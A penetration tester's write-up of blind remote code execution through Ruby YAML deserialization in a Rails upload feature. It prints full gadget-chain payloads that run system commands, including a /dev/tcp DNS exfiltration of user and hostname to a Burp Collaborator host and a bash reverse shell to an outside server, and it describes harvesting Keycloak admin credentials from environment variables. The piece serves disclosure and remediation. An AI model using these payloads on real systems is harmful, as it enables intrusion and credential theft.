Blind Remote Code Execution through YAML Deserialization

While performing an application security assessment on a Ruby on Rails project, I discovered upload functionality that allowed users to upload text, CSV, and YAML files. The latter option interested me because reading online suggested YAML deserialization could be a potential vector.

After a few uploads, I understood that the upload process would validate the file contents and upload the file to Azure blob storage. I noticed YAML files with ---!ruby/object:BadValue as the first line returned a fatal status whereas other bad YAML files would return an error status. The fatal status was my only indicator that the upload may be vulnerable.

Figure 1 - Fatal Status on poc2.yml

A few researchers in the past discovered some interesting gadget chains in Ruby that could lead to code execution and was found from the following GitHub Gist: Ruby YAML Exploits

I tried the Gem::Requirement gadget chain with the nslookup and curl command to Burp collaborator but didn't receive any DNS lookup. As the first chain didn't work, the next gadget chain Gem::Installer was tried with the same commands. Again no DNS lookup came back.

After a few hours and attempts, I decided to try the sleep command for 10 minutes with the Gem::Installer chain.

 ---
 - !ruby/object:Gem::Installer
     i: x
 - !ruby/object:Gem::SpecFetcher
     i: y
 - !ruby/object:Gem::Requirement
   requirements:
     !ruby/object:Gem::Package::TarReader
     io: &1 !ruby/object:Net::BufferedIO
       io: &1 !ruby/object:Gem::Package::TarReader::Entry
          read: 0
          header: "abc"
       debug_output: &1 !ruby/object:Net::WriteAdapter
          socket: &1 !ruby/object:Gem::RequestSet
              sets: !ruby/object:Net::WriteAdapter
                  socket: !ruby/module 'Kernel'
                  method_id: :system
              git_set: sleep 600
          method_id: :resolve 

When I uploaded the above YAML file, the status icon was in the loading animation for 10 minutes confirming the sleep command ran successfully.

Figure 2 - Start of upload
Figure 3 - Nine minutes after file was uploaded

Finally a success after many failed attempts! Unfortunately the sleep command doesn't offer much in terms of demonstrating impact but was useful to confirm code could be executed. The sleep command could be used to exfiltrate data using a Bash if condition listed below but that would be time consuming and tedious.

if [ -f /etc/passwd ]; then sleep 5; fi

After some more thinking, I decided to try the bash -c command echoing to /dev/tcp/remote-server/443 to see if I would get a DNS lookup. Surprisingly, I did get a DNS lookup and was able to exfiltrate out the user and server hostname.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "bash -c 'echo 1 > /dev/tcp/`whoami`.`hostname`.wkkib01k9lsnq9qm2pogo10tmksagz.burpcollaborator.net/443'"
         method_id: :resolve
Figure 4 - DNS lookup exfiltrating user and server hostname

Looking at the server hostnames, I noticed they changed constantly after re-uploading the same file. I felt like there wasn't much impact here as an Azure Serverless function or some type of worker was being spun up. The only way I could confirm whether there might be good impact is if I can view the environment variables for sensitive information in this situation.

I decided to try a reverse shell on port 443 as that port is less likely to be filtered outbound using the following YAML file.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "bash -c 'bash -i >& /dev/tcp/reverseshell.stratumsecurity.com/443 0>&1'"
         method_id: :resolve

Success! A reverse shell was provided to me and I ran printenv which confirmed sensitive information such as Keycloak admin credentials, Redis and Azure DB details, etc....

Figure 5 - Listing Server Environment Variables

The server was not an Azure function apparently but was a Kubernetes pod; most likely using Azure Kubernetes. Using the Keycloak admin credentials, I confirmed I could log into Keycloak's master realm as the admin user by using the URL:

https://redacted.com/auth/realms/master/protocol/openid-connect/auth?client_id=account-console&redirect_uri=https%3A%2F%2Fredacted.com%2Fauth%2Frealms%2Fmaster%2Faccount%2F&state=:stateUUID&response_mode=fragment&response_type=code&scope=openid&nonce=:nonceUUID&code_challenge=:challengeValue&code_challenge_method=S256

The state UUID, nonce UUID, and code challenge values came from the web application realm.

The report was sent immediately as the impact was high and the remediation suggested was replacing Ruby's YAML.load() with YAML.safe_load() as YAML.load() was most likely the culprit with this finding.

References:
https://ruby-doc.org/stdlib-2.6.1/libdoc/psych/rdoc/Psych.html
https://www.elttam.com/blog/ruby-deserialization/
https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

Stratum